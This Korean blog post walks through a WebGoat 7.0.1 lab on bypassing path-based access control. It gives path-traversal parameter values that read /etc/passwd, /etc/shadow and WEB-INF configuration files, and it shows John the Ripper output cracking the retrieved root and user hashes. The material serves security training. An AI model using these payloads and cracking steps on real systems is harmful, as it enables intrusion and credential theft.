홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 WebGoat 경로접근 우회(경로조작) 실습설명서
이 문서는 WebGoat 7.0.1의 "
WH-WebGoat-7.0.1 웹해킹 훈련장을 구동한다.
구동에 관해서는 WH-WebGoat-7.0.1 라이브 ISO 문서를 참조한다.
여기서 WebGoat 훈련장의 IP주소는
WebGoat 실행이 완료되면 파이어폭스(FireFox) 웹브라우저로 훈련장에 접속한다.
훈련장 URL은 firefox http://192.168.189.238:8080/WebGoat/ owasp-zap 2&> /dev/null Firefox의 HTTP 프록시 설정 변경
Firefox의
Bypass a Path Based Access Control Scheme 공략
WebGoat 훈련장에 로그인하면 - 영문으로 - WebGoat 누리집을 사용법이 나온다.
왼쪽에 설명이나 기초적인 설명, 각종 취약점 실습 목차가 나온다.
오른쪽 중간 윗쪽에는
OWASP-ZAP의 상단 중간의 동그란 녹색 버턴("Set break on all request and reponses")을 눌러서
빨간색으로 만든다.
이 경우 OWASP ZAP은 모든 HTTP 요청과 응답을 파이어폭스로 바로 보내지 않고 사용자의 입력을 기다린다.
파이어폭스로 "Bypass a Path Based Access Control Scheme" 페이지로 들어가서
OWASP-ZAP은 위와 같은 화면을 보여주며 HTTP 통신을 일단 잡은 상태에서 멈춰서 있다. 동그란 빨간색 단추 바로 옆에 있는 이중 삼각형 단추를 누르면 HTTP 통신을 하나씩 진행시킬 수 있다. 일단 OWASP-ZAP에서 "View File"의 HTTP 요청은 다음과 같음을 알 수 있다. GET http://192.168.189.238:8080/WebGoat/attack?Screen=497&menu=200&File=SoapRequest.html&SUBMIT=View+File HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Referer: http://192.168.189.238:8080/WebGoat/start.mvc Cookie: JSESSIONID=65D515D3545E6BD16B43678E4A2D5216 Connection: keep-alive Host: 192.168.189.238:8080
File=../../../../../../../../../../etc/passwd File=../../../../../../../../../../etc/shadow File=../../../../../WEB-INF/spring-security.xml File=../../../../../WEB-INF/web.xml File=../../../../../main.jsp
root@kali:~# cat webgoat-shadow root:$1$kWNZBwjn$qo2X2hNoh5KarHWGHY8D31:17135:0:99999:7::: nobody:*:13509:0:99999:7::: www:*:13509:0:99999:7::: tux:$1$OkIe7w5X$RvToc./pGnd4oLfpCKuJG0:17135:0:99999:7::: root@kali:~# time john webgoat-shadow Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5" Use the "--format=aix-smd5" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status root (root) (tux) 2g 0:00:00:00 DONE 2/3 (2016-12-07 21:33) 11.11g/s 16400p/s 16405c/s 16405C/s money..hello Use the "--show" option to display all of the cracked passwords reliably Session completed real 0m0.352s user 0m0.140s sys 0m0.064s root@kali:~#
John the Ripper를 이용하여 유출한 다행스럽게도(?) WebGoat 훈련장은 외부에서의 SSH 접속을 허용하지 않는다. 하지만 이 서버에 운영체제 명령어 삽입 취약점이나 웹쉘 업로드 취약점이 존재하면 외부 공격자가 웹을 통해서 서버를 장악할 수 있게 된다. 이러한 경로조작 취약점이 발생하면 공격자는 소스를 읽어서 소스 수준에서 취약점을 분석함으로써 개발자가 인지하지 못하는 다양한 취약점을 알아낸 후 서버를 장악할 수 있게 된다. [처음 작성한 날: 2016.12.07] [마지막으로 고친 날: 2016.12.07] < 이전 글 : WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (2016.11.30) > 다음 글 : WebGoat, LAB: DOM-Based cross-site scripting (2016.12.08) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |